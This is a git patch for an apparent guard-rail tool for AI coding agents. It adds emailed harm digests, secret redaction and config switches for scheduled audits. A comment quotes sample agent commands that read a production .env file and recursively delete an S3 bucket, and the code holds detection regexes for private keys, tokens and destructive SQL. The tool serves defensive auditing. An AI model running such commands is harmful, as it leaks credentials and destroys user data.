window_from?: string; + window_to: string; + harmful: ReportedPolicy[]; +} + +/** `failproofai/block-rm-rf` → `block-rm-rf`. */ +function shortName(name: string): string { + const slash = name.indexOf("/"); + return slash === -1 ? name : name.slice(slash + 1); +} + +export function isHarmful(count: AuditCount): boolean { + if (count.source !== "builtin") return false; + const short = shortName(count.name); + return HARMFUL_SEVERITIES.has(count.severity) || ALSO_HARMFUL.has(short); +} + +/** Parse an ISO timestamp, or null if it is absent or unusable. */ +function ts(value: string | undefined): number | null { + if (!value) return null; + const n = Date.parse(value); + return Number.isFinite(n) ? n : null; +} + +/** + * Select the harmful policies whose activity falls inside `[from, to]`. + * + * `from` undefined means "everything up to `to`" — a machine's first report, + * the only time it legitimately has no watermark. + * + * A policy with NO usable timestamps is included when there is no lower bound + * and excluded when there is. It cannot be placed, and the two failure + * directions are not equal: on a first report, dropping it loses a real finding; + * on a later one, including it re-reports something already covered. Silence + * about something new is the worse of the two, and repetition is the more + * annoying, so each window gets the answer that fails the way it can afford to. + */ +export function selectHarmful( + result: AuditResult, + from: Date | undefined, + to: Date, +): ReportedPolicy[] { + const fromMs = from ? from.getTime() : null; + const toMs = to.getTime(); + const out: ReportedPolicy[] = []; + + for (const count of result.results) { + if (!isHarmful(count)) continue; + + const last = ts(count.lastSeen); + const first = ts(count.firstSeen); + + // Nothing since the watermark — this policy's whole history predates the + // window. + if (fromMs !== null && last !== null && last <= fromMs) continue; + // Fired entirely after the window closed (a clock skew, or a scan that + // raced an event). It belongs to the next report, not this one. + if (first !== null && first > toMs) continue; + + const inWindow = count.examples.filter((e) => { + const at = ts(e.timestamp); + if (at === null) return fromMs === null; + if (fromMs !== null && at <= fromMs) return false; + return at <= toMs; + }); + + if (last === null && first === null && fromMs !== null) continue; + + // Wholly inside the window → the real total. Straddling it → the examples + // that actually fall inside, which undercounts but never invents. + const wholly = fromMs === null || (first !== null && first > fromMs); + const hits = wholly ? count.hits : inWindow.length; + if (hits <= 0) continue; + + out.push({ + policy: shortName(count.name), + category: count.category, + title: count.displayTitle ?? "", + hits, + first_seen: count.firstSeen, + last_seen: count.lastSeen, + examples: inWindow.map((e) => redactExample(e.example)).filter((e) => e.length > 0), + }); + } + + // Most active first, so a digest truncated by anything downstream keeps the + // rows that matter. + out.sort((a, b) => b.hits - a.hits); + return out; +} + +/** + * Build the report body for one scan. + * + * `window_to` is the scan's own `scannedAt` rather than "now": it is the instant + * the evidence was gathered, and using a later clock reading would advance the + * watermark past events that happened while the scan was still running — events + * no report would ever cover. + */ +export function buildHarmReport( + result: AuditResult, + lastReportedAt: string | undefined, +): HarmReport { + const to = new Date(Date.parse(result.scannedAt)); + const windowTo = Number.isFinite(to.getTime()) ? to : new Date(); + const fromMs = ts(lastReportedAt); + const from = fromMs === null ? undefined : new Date(fromMs); + + return { + window_from: from?.toISOString(), + window_to: windowTo.toISOString(), + harmful: selectHarmful(result, from, windowTo), + }; +} diff --git a/src/audit/machine-store.ts b/src/audit/machine-store.ts new file mode 100644 index 00000000..b1438dee --- /dev/null +++ b/src/audit/machine-store.ts @@ -0,0 +1,120 @@ +/** + * `~/.failproofai/audit/machine.json` — this machine's report identity. + * + * Two fields, and they are together because they share one property: both must + * outlive a sign-out. + * + * - `machine_id` is what the api-server keys reports on. Regenerate it and the + * server sees a brand-new machine, which burns a slot off the account's cap + * on every logout and splits one box's history into two. + * - `last_reported_at` is how far the last digest reached. Reset it and the + * next report re-covers months of history, and the user gets a digest of + * everything that ever happened as though it just did. + * + * That is why this is a separate file from `session.json` rather than two more + * keys in it: signing out deletes the session, and neither of these may go with + * it. `HOME_CLASSES` classifies this `identity` — never deleted, alongside + * `cursors/` and the telemetry id — while the tokens beside it are `user-typed` + * and come and go. + * + * ## The id is minted here, not borrowed + * + * `state/telemetry-id` is already a stable per-machine random id and would have + * been free to reuse. It is deliberately not reused: that id is the anonymous + * PostHog person, and sending it alongside a verified email address would link + * the two the moment somebody turns emailed reports on. Opting into a digest + * should not de-anonymise telemetry, so this feature gets its own id and the + * two never meet. + */ +import { existsSync, readFileSync, rmSync } from "node:fs"; +import { hostname } from "node:os"; +import { randomUUID } from "node:crypto"; + +import { writeJsonAtomically } from "../../lib/atomic-write"; +import { auditMachineFile } from "../hooks/fp-home"; + +export interface MachineIdentity { + /** Random, minted on first use. Opaque to the server. */ + machine_id: string; + /** ISO-8601. Absent until the first digest is delivered. */ + last_reported_at?: string; + /** When this id was minted. Diagnostics only. */ + created_at: string; +} + +export function readMachineIdentity(home?: string): MachineIdentity | null { + const path = auditMachineFile(home); + if (!existsSync(path)) return null; + try { + const parsed = JSON.parse(readFileSync(path, "utf8")) as Partial; + if (typeof parsed.machine_id !== "string" || !parsed.machine_id) return null; + return { + machine_id: parsed.machine_id, + last_reported_at: + typeof parsed.last_reported_at === "string" ? parsed.last_reported_at : undefined, + created_at: typeof parsed.created_at === "string" ? parsed.created_at : new Date(0).toISOString(), + }; + } catch { + // Absent, unreadable and malformed all read as "no identity yet". The caller + // mints a new one, which costs a slot off the cap and a re-covered window — + // bad, but recoverable, and strictly better than refusing to report at all + // because one file got truncated. + return null; + } +} + +/** + * Read the identity, creating it on first call. + * + * Only ever called from the reporting path, so a machine that never opts into + * emailed reports never gets an id at all — there is nothing to mint one for. + */ +export function ensureMachineIdentity(home?: string): MachineIdentity { + const existing = readMachineIdentity(home); + if (existing) return existing; + const fresh: MachineIdentity = { + machine_id: randomUUID(), + created_at: new Date().toISOString(), + }; + writeJsonAtomically(auditMachineFile(home), fresh); + return fresh; +} + +/** + * Record how far the last DELIVERED digest reached. + * + * The value is the server's `next_window_from`, not the window this run + * scanned. The server is authoritative because it knows which reports actually + * produced an email — a report held by the cooldown, or one whose send failed, + * must not advance the watermark or its findings are silently dropped from every + * future digest. + */ +export function recordReportWatermark(nextWindowFrom: string, home?: string): void { + const current = ensureMachineIdentity(home); + writeJsonAtomically(auditMachineFile(home), { + ...current, + last_reported_at: nextWindowFrom, + } satisfies MachineIdentity); +} + +export function deleteMachineIdentity(home?: string): void { + const path = auditMachineFile(home); + if (existsSync(path)) rmSync(path, { force: true }); +} + +/** + * A display name for this machine — its hostname. + * + * Shown in the digest so somebody with three boxes can tell which one is + * misbehaving, which is the whole reason it is sent. Falls back to `undefined` + * rather than a placeholder: the server keeps whatever label it already has when + * one is omitted, so guessing here would overwrite a good name with a bad one. + */ +export function machineLabel(): string | undefined { + try { + const h = hostname().trim(); + return h.length > 0 ? h : undefined; + } catch { + return undefined; + } +} diff --git a/src/audit/redact-example.ts b/src/audit/redact-example.ts new file mode 100644 index 00000000..52601a4c --- /dev/null +++ b/src/audit/redact-example.ts @@ -0,0 +1,113 @@ +/** + * What an audit example looks like by the time it is allowed to leave the box. + * + * The audit keeps up to three 80-character examples per policy, and they are + * slices of REAL commands and paths — `cat /home/sidd/work/acme/.env.production`, + * `aws s3 rm s3://prod-bucket --recursive`. Naming what happened is the whole + * value of the digest, and those strings are also the only thing in the report + * that could carry something a person would mind sending. + * + * Two transforms, in this order, and the order matters: + * + * 1. **Secrets are masked**, against `SECRET_PATTERNS` — the same list the + * `sanitize-*` policies block on. One definition of "secret", used for both + * blocking and redacting, rather than a second pattern list beside it that + * eventually disagrees. + * 2. **Home paths are shortened**, so `/home/sidd/work/acme/src/db.ts` becomes + * `~/…/db.ts`. The basename is what makes a finding recognisable; the + * directory chain is a map of someone's disk and their employer's project + * names. + * + * Masking runs FIRST because shortening can cut a path mid-token, and a secret + * embedded in a path (`.../ghp_xxxxx/...`) sliced in half stops matching its own + * pattern and ships as a fragment. + * + * ## What this is not + * + * It is not a guarantee. Pattern-based redaction misses formats it has never + * seen, and the honest framing is that this reduces exposure rather than + * eliminating it — which is exactly why the digest carries counts and titles as + * its substance and treats examples as colour. If the tradeoff ever stops being + * worth it, `redactExample` is the one place to change. + */ +import { homedir } from "node:os"; + +import { SECRET_PATTERNS } from "../hooks/builtin-policies"; + +/** Longest example we let through, after redaction. */ +export const REDACTED_EXAMPLE_MAX_CHARS = 160; + +/** + * Path segments kept before the basename when shortening. + * + * Zero. `~/…/db.ts` says "somewhere under home" and names the file, which is + * what makes a finding recognisable to the person who caused it. One segment + * would routinely be the project — usually a client or employer name, and the + * single most identifying token on the line. + */ +const KEPT_PARENT_SEGMENTS = 0; + +/** Matches an absolute POSIX-ish path with at least two segments. */ +const ABSOLUTE_PATH_RE = /(?:\/[\w.\-@+]+){2,}\/?/g; + +/** + * Mask anything matching a known secret shape. + * + * A fresh `RegExp` is built per pattern per call rather than reusing the shared + * literal with the `g` flag added: a global regex carries `lastIndex` across + * calls, so a shared instance would skip matches in the next string depending on + * where it stopped in the previous one — a bug that only appears once there is + * more than one example, and looks like flakiness rather than logic. + */ +export function maskSecrets(input: string): string { + let out = input; + for (const [pattern, label] of SECRET_PATTERNS) { + const global = new RegExp(pattern.source, pattern.flags.includes("g") ? pattern.flags : `${pattern.flags}g`); + out = out.replace(global, `[REDACTED: ${label}]`); + } + return out; +} + +/** + * Replace absolute paths with `~/…/`. + * + * The home directory is resolved rather than assumed, and a path outside it is + * shortened too — `/etc/…/shadow`, `/var/…/secrets.yml` — because "not under + * home" is not the same as "safe to send", and a build agent's checkout lives + * under `/build` as often as anywhere. + */ +export function shortenPaths(input: string, home = homedir()): string { + return input.replace(ABSOLUTE_PATH_RE, (match) => { + const trailingSlash = match.endsWith("/"); + const segments = match.split("/").filter(Boolean); + if (segments.length === 0) return match; + const basename = segments[segments.length - 1]; + const kept = segments.slice( + Math.max(0, segments.length - 1 - KEPT_PARENT_SEGMENTS), + segments.length - 1, + ); + const underHome = home.length > 0 && match.startsWith(home); + const root = underHome ? "~" : ""; + // `…` rather than `...` so the elision cannot be mistaken for a relative + // path component, and reads as one glyph in a monospace digest. + const middle = segments.length - kept.length - 1 > 0 ? "/…" : ""; + const tail = [...kept, basename].join("/"); + return `${root}${middle}/${tail}${trailingSlash ? "/" : ""}`; + }); +} + +/** + * Full pipeline: mask, shorten, collapse whitespace, cap. + * + * Whitespace is collapsed because a heredoc or a multi-line command reaches the + * digest as one row, and a raw newline there breaks the plain-text layout while + * saying nothing the single line does not. + */ +export function redactExample(input: string, home = homedir()): string { + const masked = maskSecrets(input); + const shortened = shortenPaths(masked, home); + const collapsed = shortened.replace(/\s+/g, " ").trim(); + return collapsed.length > REDACTED_EXAMPLE_MAX_CHARS + ? `${collapsed.slice(0, REDACTED_EXAMPLE_MAX_CHARS - 1)}…` + : collapsed; +} diff --git a/src/audit/report-harm.ts b/src/audit/report-harm.ts new file mode 100644 index 00000000..08062d12 --- /dev/null +++ b/src/audit/report-harm.ts @@ -0,0 +1,144 @@ +/** + * The side effect a scheduled audit has that no other audit does: telling the + * api-server what it found, so a harm digest can be mailed. + * + * Separated from `harm-report.ts` on purpose. That module is pure — result in, + * payload out — and is where the windowing rules live and are tested. This one + * is the IO: read config, read session, refresh, POST, persist the watermark. It + * is the part that can fail in ways that must never matter. + * + * ## Nothing here may break a scan + * + * By the time this runs the scan has already completed and its result is already + * on disk. Every failure below therefore returns rather than throws, and the + * caller reports the exit code of the SCAN, not of the report. A machine whose + * token expired, whose network is down, or whose api-server is having a bad day + * must keep auditing itself locally and keep showing results on its own + * dashboard — the local feature does not depend on the remote one, and a person + * who never enabled emailed reports must never be able to tell this code exists. + * + * ## Why the CHILD does this and not the daemon + * + * Refresh rotation is theft-detecting: presenting a spent refresh token revokes + * every session the user has. The dashboard already needed in-process dedup to + * avoid self-inflicting that. If the daemon also held and refreshed the token, + * that dedup would have to work across processes, and losing the race logs the + * user out of everything with no way to tell why. Running here keeps the token + * inside the audit lock, which already serialises every entry point, so only one + * process can hold it at a time. + */ +import { getValidAccessToken } from "../../lib/auth/auth-store"; +import { AuthApiError, submitAuditReport } from "../../lib/auth/api-server-client"; +import { readConfig } from "../hooks/fp-config"; +import { buildHarmReport } from "./harm-report"; +import { + ensureMachineIdentity, + machineLabel, + recordReportWatermark, +} from "./machine-store"; +import type { AuditResult } from "./types"; + +/** What happened, for the one line the scheduled run prints. */ +export type HarmReportOutcome = + | { kind: "disabled" } + | { kind: "signed-out" } + | { kind: "sent"; hits: number } + | { kind: "held"; hits: number; reason: string } + | { kind: "failed"; error: string }; + +/** + * Report this scan's harmful findings, if the user asked for that. + * + * Returns an outcome rather than a boolean so the caller can say something + * truthful. "held" in particular is not a failure — a machine below the + * threshold, or inside its cooldown, is working exactly as intended, and a line + * that called that an error would train people to ignore the line. + */ +export async function reportHarm(result: AuditResult): Promise { + // Two switches, not one. `auto` schedules the local scan and needs no account; + // `emailEnabled` is the separate opt-in that sends anything anywhere. A + // machine with the first and not the second scans on a timer and stays silent, + // which is what keeps "runs fully offline" true for everyone who wants it. + let emailEnabled = false; + try { + emailEnabled = readConfig().audit.emailEnabled; + } catch { + // An unreadable config reads as off — the direction that sends nothing. + return { kind: "disabled" }; + } + if (!emailEnabled) return { kind: "disabled" }; + + const auth = await getValidAccessToken(); + if (!auth) { + // Expired, revoked, or never signed in. The scan already succeeded and its + // result is on the dashboard; the only thing lost is the email, and the + // remedy is a sign-in the user has to be present for anyway. + return { kind: "signed-out" }; + } + + let identity: ReturnType; + try { + identity = ensureMachineIdentity(); + } catch (err) { + return { kind: "failed", error: err instanceof Error ? err.message : String(err) }; + } + + const report = buildHarmReport(result, identity.last_reported_at); + const hits = report.harmful.reduce((n, p) => n + p.hits, 0); + + try { + const res = await submitAuditReport(auth.access_token, { + machine_id: identity.machine_id, + label: machineLabel(), + platform: process.platform, + window_from: report.window_from, + window_to: report.window_to, + harmful: report.harmful, + }); + + // Persist whatever the server says the next window starts at, INCLUDING when + // nothing was mailed. Its answer already accounts for that: a held or failed + // digest leaves the watermark where it was, so writing the value back is how + // this machine inherits that decision instead of re-deriving it and getting + // it subtly wrong. + try { + recordReportWatermark(res.next_window_from); + } catch { + // A watermark that did not persist means the next report re-covers this + // window. Duplicated findings, never missing ones — and the server's + // cooldown bounds how often that can turn into an email. + } + + return res.emailed + ? { kind: "sent", hits } + : { kind: "held", hits, reason: res.reason ?? "not_sent" }; + } catch (err) { + // A 401 here means the session died between `getValidAccessToken` and this + // call — rare, and indistinguishable from any other failure as far as this + // run is concerned. The next scheduled run will re-check and report + // signed-out properly. + const error = + err instanceof AuthApiError + ? `${err.code}: ${err.message}` + : err instanceof Error + ? err.message + : String(err); + return { kind: "failed", error }; + } +} + +/** One line for the scheduled run's stdout/stderr. */ +export function describeOutcome(outcome: HarmReportOutcome): string | null { + switch (outcome.kind) { + case "disabled": + return null; // Say nothing at all to the majority who never opted in. + case "signed-out": + return "failproofai: emailed reports are on but this machine is signed out — sign in from the audit page to resume them"; + case "sent": + return `failproofai: emailed a harm digest (${outcome.hits} finding${outcome.hits === 1 ? "" : "s"})`; + case "held": + return `failproofai: ${outcome.hits} finding${outcome.hits === 1 ? "" : "s"} reported, no email (${outcome.reason})`; + case "failed": + return `failproofai: could not send the harm report: ${outcome.error}`; + } +} diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 44220b2e..738e630f 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -140,6 +140,32 @@ const PRIVATE_KEY_RE = /-----BEGIN (?:[A-Z]+ )?PRIVATE KEY-----/; // sanitizeBearerTokens const BEARER_TOKEN_RE = /Authorization:\s*Bearer\s+[A-Za-z0-9\-._~+/]{20,}/i; +/** + * Every pattern the `sanitize-*` policies treat as a secret, as one list. + * + * Exported so the audit's harm reporter can redact against the SAME definition + * of "secret" that the engine blocks on, rather than growing a second pattern + * list beside this one. Two lists is the shape that eventually disagrees, and + * the direction it disagrees in here is a live credential leaving a machine. + * + * The `sanitize-*` FUNCTIONS cannot be reused for this — they are detectors that + * return a `deny` with a message, not transforms that return scrubbed text. The + * patterns are the reusable part, so the patterns are what is shared. + * + * Ordered most-specific first, which is load-bearing for the API keys: a + * generic `sk-[A-Za-z0-9]{20,}` placed before `sk-ant-…` would label an + * Anthropic key as an OpenAI one. (It does not currently MATCH one — the + * hyphens in `sk-ant-` break the character class — but the ordering is what + * makes that a design rather than a coincidence.) + */ +export const SECRET_PATTERNS: ReadonlyArray = [ + [PRIVATE_KEY_RE, "private key"], + [JWT_RE, "JWT"], + [BEARER_TOKEN_RE, "bearer token"], + [CONNECTION_STRING_RE, "database credentials"], + ...API_KEY_PATTERNS, +]; + // warnDestructiveSql / warnSchemaAlteration const SQL_TOOL_RE = /\b(?:psql|mysql|sqlite3|pgcli|clickhouse-client)\b/; const DESTRUCTIVE_SQL_RE = /\b(?:DROP\s+(?:TABLE|DATABASE|SCHEMA)|TRUNCATE\b)/i; diff --git a/src/hooks/fp-config.ts b/src/hooks/fp-config.ts index 50be8d89..dc24cb84 100644 --- a/src/hooks/fp-config.ts +++ b/src/hooks/fp-config.ts @@ -307,6 +307,21 @@ export interface FpConfig { auto: boolean; /** Days between scheduled runs. Wall clock, so it survives suspend. */ intervalDays: number; + /** + * Send a harm digest when a scheduled scan finds something. + * + * A SEPARATE switch from `auto`, and separate on purpose. `auto` scans this + * machine on a timer and needs no account — `failproofai audit --help` says + * the audit "runs fully offline — no account or network required", and that + * must stay true for anyone who wants scheduled scanning and nothing else. + * This is the opt-in that makes anything leave the box, and it is the only + * one of the two that requires a sign-in. + * + * OFF by default, like `auto` above and for a stronger version of the same + * reason: the failure direction is a machine mailing an account nobody + * pointed it at. + */ + emailEnabled: boolean; }; } @@ -354,7 +369,7 @@ export const DEFAULT_CONFIG: FpConfig = { environment: "local", }, telemetry: { enabled: true }, - audit: { auto: false, intervalDays: DEFAULT_AUDIT_INTERVAL_DAYS }, + audit: { auto: false, intervalDays: DEFAULT_AUDIT_INTERVAL_DAYS, emailEnabled: false }, }; /** @@ -481,7 +496,14 @@ export function projectConfig(parsed: Record): FpConfig { // scheduled scan on. Absent, misspelled, or `"yes"` all read as off, // because the failure direction here is a machine that starts reading // every transcript it can find on a timer nobody set. - audit: { auto: audit.auto === true, intervalDays: readIntervalDays(audit.interval_days) }, + audit: { + auto: audit.auto === true, + intervalDays: readIntervalDays(audit.interval_days), + // Same shape as `auto`, and for a stronger version of the same reason: + // only an explicit `true` opts in, because the failure direction here is + // a machine mailing an account nobody pointed it at. + emailEnabled: audit.email_enabled === true, + }, // Same shape as `audit.auto` above and for the same reason: only an // explicit `true` opts in. Anything else — absent, misspelled, `"yes"` — // reads as off, because the failure direction is a machine that starts @@ -527,6 +549,7 @@ const OWNED_CONFIG_KEYS: readonly (readonly string[])[] = [ ["telemetry", "enabled"], ["audit", "auto"], ["audit", "interval_days"], + ["audit", "email_enabled"], ]; const isPlainObject = (v: unknown): v is Record => @@ -627,7 +650,11 @@ export function writeConfig(config: FpConfig, raw?: Record): vo // nobody can see is the same as a switch that does not exist. Emitting both // keys unconditionally also makes "a user's setting survives a rewrite" // total rather than conditional. - audit: { auto: config.audit.auto, interval_days: config.audit.intervalDays }, + audit: { + auto: config.audit.auto, + interval_days: config.audit.intervalDays, + email_enabled: config.audit.emailEnabled, + }, }; // Start from the previous bytes, strip the keys this build owns — so an // omission above really removes — then lay the projection on top. What is left From 71af0706f594f53560b0f34558bde17bac6a7483 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Fri, 14 Aug 2026 18:04:15 +0530 Subject: [PATCH 05/24] Merge the scheduled-audit controls into the audit page, delete /settings MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The two questions a person has after reading their audit — "can this happen automatically" and "will it tell me" — were answered on a separate page they had no reason to visit. The controls now sit under the report they act on, as two panels in section 05: scan settings at 1.3fr against the share card's 1fr, per the mock. /settings is removed rather than redirected. It held nothing else, and the navbar is left with the three pages that are actually destinations. The panel carries the daemon's state as a pill, because "scheduled scanning is on" is not the same claim as "scheduled scanning will happen" — a panel that hid the difference would present a stopped service as a feature that simply does not work. ## Reminders are gone entirely /api/auth/reminder, the cadence buttons, scheduleReminder/cancelReminder, the reminder half of /api/auth/status, and the readReminder/writeReminder store. The api-server deleted /v0/reminders in the same release so the client calling it would 404 — and more to the point, the machine now audits itself and mails a digest when it finds harm, so there is nothing left to nudge anyone about. audit/reminder.json is retired into `legacy` and cleared by the next reset. The layout-4 step still MOVES next-audit.json there rather than deleting it: a migration that destroys something a person chose is a different act from one that relocates it, even when the thing is obsolete. ## Two switches The email switch is separate from the scan switch and is the only one that needs a sign-in — `audit --help` promises the scan runs fully offline, and keeping them apart is what keeps that true. Turning email on while signed out opens the shared dialog and resumes; the server action refuses an anonymous enable rather than storing a switch that reads as on and does nothing. Signing out turns emailed reports off with it. The alternative is a machine that scans, finds something, and has nothing to send it with — discoverable only by noticing that no email ever arrives. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 + .../audit/come-back-better-section.test.tsx | 286 ++++---- __tests__/hooks/migrations.test.ts | 3 +- __tests__/lib/api-server-client.test.ts | 58 -- __tests__/lib/auth-store.test.ts | 65 -- app/actions/get-scheduled-audit.ts | 16 + app/actions/update-scheduled-audit.ts | 29 + app/api/auth/reminder/route.ts | 213 ------ app/api/auth/status/route.ts | 24 +- .../_components/come-back-better-section.tsx | 665 +++++++++++------- app/audit/audit-styles.css | 160 ++++- app/settings/page.tsx | 31 - app/settings/settings-client.tsx | 487 ------------- components/navbar.tsx | 2 - lib/auth/api-server-client.ts | 30 +- lib/auth/auth-store.ts | 66 +- src/hooks/fp-home.ts | 36 +- src/hooks/migrations.ts | 10 +- 18 files changed, 786 insertions(+), 1397 deletions(-) delete mode 100644 app/api/auth/reminder/route.ts delete mode 100644 app/settings/page.tsx delete mode 100644 app/settings/settings-client.tsx diff --git a/CHANGELOG.md b/CHANGELOG.md index 5c60795d..1ee08bb1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ ### Features +- Merge the scheduled-audit controls into the audit page and delete `/settings`. The two questions a person has after reading their audit — "can this happen automatically" and "will it tell me" — were answered on a separate page they had no reason to visit; the controls now sit under the report they act on, in section 05, as two panels: the scan settings at 1.3fr against the share card's 1fr. `/settings` is removed rather than redirected, because it held nothing else, and it leaves the navbar with the three pages that are actually destinations. The panel carries the daemon's state as a pill, because "scheduled scanning is on" is not the same claim as "scheduled scanning will happen", and a panel that hid the difference would present a stopped service as a feature that simply does not work. **Reminders are gone entirely** — `/api/auth/reminder`, the cadence buttons, `scheduleReminder`/`cancelReminder`, the reminder half of `/api/auth/status`, and the `readReminder`/`writeReminder` store. The api-server deleted `/v0/reminders` in the same release, so the client calling it would 404; more to the point the machine now audits itself and mails a digest when it finds harm, so there is nothing left to nudge anyone about. `audit/reminder.json` is retired to `legacy` and cleared by the next reset — the layout-4 step still MOVES `next-audit.json` there rather than deleting it, because a migration that destroys something a person chose is a different act from one that relocates it, even when the thing is obsolete. The email switch is separate from the scan switch and is the only one that needs a sign-in; turning it on while signed out opens the shared dialog and resumes, and the server action refuses an anonymous enable rather than storing a switch that reads as on and does nothing. Signing out turns emailed reports off with it, since the alternative is a machine that scans, finds something, and has nothing to send it with — discoverable only by noticing no email ever arrives. (#698) + - Report harmful findings from a scheduled audit, so the machine can tell you what its agent did instead of asking you to go and look. A new `[audit] email_enabled` — a SEPARATE switch from `auto`, because `audit --help` promises the scan "runs fully offline — no account or network required" and that must stay true for anyone who wants scheduled scanning and nothing else. Off by default, like `auto`, and for a stronger version of the same reason: the failure direction is a machine mailing an account nobody pointed it at. **The window is applied per event, not through `--since`.** `--since` filters on transcript MTIME, which is right for deciding which files to open and wrong as a window: a session left open for a month has a fresh mtime, so `--since 7d` hands back that whole transcript including month-old events, and the first digest anyone received would describe everything their agent had ever done as though it happened that week. The scan stays unfiltered and the window is applied here, against the timestamps `AuditCount` already carries. Where activity straddles the boundary the report counts the EXAMPLES inside it rather than the policy's total — the cache stores counts, not event lists, so there is nothing to subtract; undercounting is the safe direction because the server's threshold reads these, and it can delay a digest but never invent one. **Harm is `deny` + `sanitize`**, plus `protect-env-vars` by hand: `severityForBuiltin` derives severity from the NAME PREFIX, so a policy that blocks `env`/`printenv` outright reads as hygiene, and its whole subject is an agent reaching for the environment — inheriting a scoring heuristic's blind spot into a security digest would be the wrong kind of consistency. Examples are redacted before they leave, against `SECRET_PATTERNS` — now exported from `builtin-policies.ts`, so blocking and redacting share one definition of "secret" rather than growing a second list beside it that eventually disagrees. Masking runs BEFORE path-shortening, because shortening can cut a path mid-token and a credential sliced in half stops matching its own pattern and ships as a fragment. `~/.failproofai/audit/machine.json` holds the machine id and the digest watermark, both `identity` class: regenerate the id and the server sees a new machine on every logout, reset the watermark and the next report re-covers months. The id is minted fresh rather than reusing `state/telemetry-id`, so opting into a digest never links the anonymous telemetry person to a verified address. The whole path runs in the audit CHILD, never the daemon — refresh rotation is theft-detecting, and keeping the token inside the audit lock is what stops a cross-process race from revoking every session a user has. Scheduled runs only, and nothing in it can fail a scan: every error is an outcome, so a dead network or an expired session leaves the local audit working and its dashboard correct. (#698) - Gather everything the audit owns under `audit/`, as layout 4. `auth.json` becomes `audit/session.json`, `next-audit.json` becomes `audit/reminder.json`, and `state/audit-schedule.json` becomes `audit/schedule.json`, so one directory answers "what does the audit know about this machine" the way `policies/` answers it for enforcement. Two new paths join them, and the split between them is the design rather than tidiness: `session.json` holds the tokens and is `user-typed`, while `machine.json` holds this machine's report id and its digest watermark and is `identity`. Both fields have to outlive a sign-out — regenerate the id and the server sees a brand-new machine on every logout, reset the watermark and the next digest re-reports months of history as though it just happened — so they cannot live in the file a sign-out deletes. **`auditDir` is now deliberately absent from `HOME_CLASSES`.** It was classified `derived` wholesale, which was correct for a directory holding two caches and became a trap the moment a credential moved in: `resettablePaths()` is a filter over that table, so a reset and every future migration would have deleted the user's tokens. It is MIXED now and classified per-file, exactly like `state/` already is, and the `COVERED_BY_PARENT` guard records it as the second entry mapping to itself. The migration is three moves and no deletions, each a rename with a copy fallback because `audit/` and the home root land on different filesystems once `$HOME` is a network mount and `rename(2)` returns `EXDEV` there. A missing source is success — most homes never signed in, so two of the three files are absent on the majority of machines — and an existing destination wins, because re-running the step is exactly what happens when a later step in the same chain throws and the user retries; the stale original is dropped rather than left at the root, since a second copy of a bearer credential is a liability. `session.json`'s mode is reasserted to `0600` afterwards rather than assumed, because a rename preserves it and the copy fallback inherits the umask. All three are backed up first: `auth.json` is a live credential that, unlike every other file in that list, was never on a delete list and so has never had a copy taken before a migration touched it. `next-audit.json` is MOVED rather than retired even though the scheduled-audit work replaces reminders, because a migration that deleted it before that work landed would drop a cadence a person chose with no way back if the follow-up slipped. (#695) diff --git a/__tests__/audit/come-back-better-section.test.tsx b/__tests__/audit/come-back-better-section.test.tsx index b823ec6b..2c3b6cea 100644 --- a/__tests__/audit/come-back-better-section.test.tsx +++ b/__tests__/audit/come-back-better-section.test.tsx @@ -1,38 +1,97 @@ /** - * The reminder and "invite a friend" CTAs share one AuthDialog. + * Section 05 — the scheduled-audit panel and the invite, which share one + * AuthDialog. * - * Two things must differ by which CTA opened it: the dialog's COPY, and — the - * part these tests were missing — what happens once auth SUCCEEDS. The copy - * cases below were the whole of this file, and they passed happily while signing - * in from the invite button set a reminder nobody asked for and never opened the - * invite dialog at all. A test that pins the label and not the effect is exactly - * as green on the broken version as on the fixed one. + * Two things must differ by which control opened it: the dialog's COPY, and — + * the part this file was originally missing — what happens once auth SUCCEEDS. + * The copy cases were the whole of it, and they passed happily while signing in + * from the invite button set a reminder nobody asked for and never opened the + * invite dialog. A test that pins the label and not the effect is exactly as + * green on the broken version as on the fixed one. */ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; import { render, screen, fireEvent, waitFor, cleanup } from "@testing-library/react"; -// Stable capture (see auth-dialog.test.tsx for why identity must not change). -const { captureMock } = vi.hoisted(() => ({ captureMock: vi.fn() })); +const { captureMock, getViewMock, setAutoMock, setIntervalMock, setEmailMock } = vi.hoisted(() => ({ + captureMock: vi.fn(), + getViewMock: vi.fn(), + setAutoMock: vi.fn(), + setIntervalMock: vi.fn(), + setEmailMock: vi.fn(), +})); + vi.mock("@/contexts/PostHogContext", () => ({ usePostHog: () => ({ capture: captureMock }), })); +vi.mock("@/app/actions/get-scheduled-audit", () => ({ + getScheduledAuditAction: getViewMock, +})); +vi.mock("@/app/actions/update-scheduled-audit", () => ({ + setAutoAuditAction: setAutoMock, + setAuditIntervalAction: setIntervalMock, + setAuditEmailAction: setEmailMock, +})); +vi.mock("@/app/components/toast", () => ({ toast: vi.fn() })); import { ComeBackBetterSection } from "@/app/audit/_components/come-back-better-section"; const noop = () => {}; -beforeEach(() => { - // The section probes /api/auth/status on mount; report an anonymous user. +/** The scheduled-audit view, signed out and idle unless overridden. */ +function view(over: Record = {}) { + return { + auto: false, + intervalDays: 7, + emailEnabled: false, + signedInAs: null, + daemon: "running", + schedule: null, + lastResultAt: null, + ...over, + }; +} + +/** Records every fetch and answers the auth routes the dialog drives. */ +function stubFetch() { + const calls: { url: string; method: string }[] = []; vi.stubGlobal( "fetch", - vi.fn( - async () => - new Response(JSON.stringify({ authenticated: false, reminder: null }), { + vi.fn(async (input: RequestInfo | URL, init?: RequestInit) => { + const url = String(input); + calls.push({ url, method: init?.method ?? "GET" }); + const json = (body: unknown) => + new Response(JSON.stringify(body), { status: 200, headers: { "content-type": "application/json" }, - }), - ), + }); + if (url.includes("/api/auth/login-request")) { + return json({ status: "code_sent", expires_in: 600, resend_available_in: 30 }); + } + if (url.includes("/api/auth/login-verify")) { + return json({ authenticated: true, user: { id: "u1", email: "sidd@exosphere.host" } }); + } + return json({}); + }), ); + return calls; +} + +/** Drive the shared AuthDialog through email → code → verified. */ +async function completeAuth() { + fireEvent.change(await screen.findByPlaceholderText("you@yourdomain.com"), { + target: 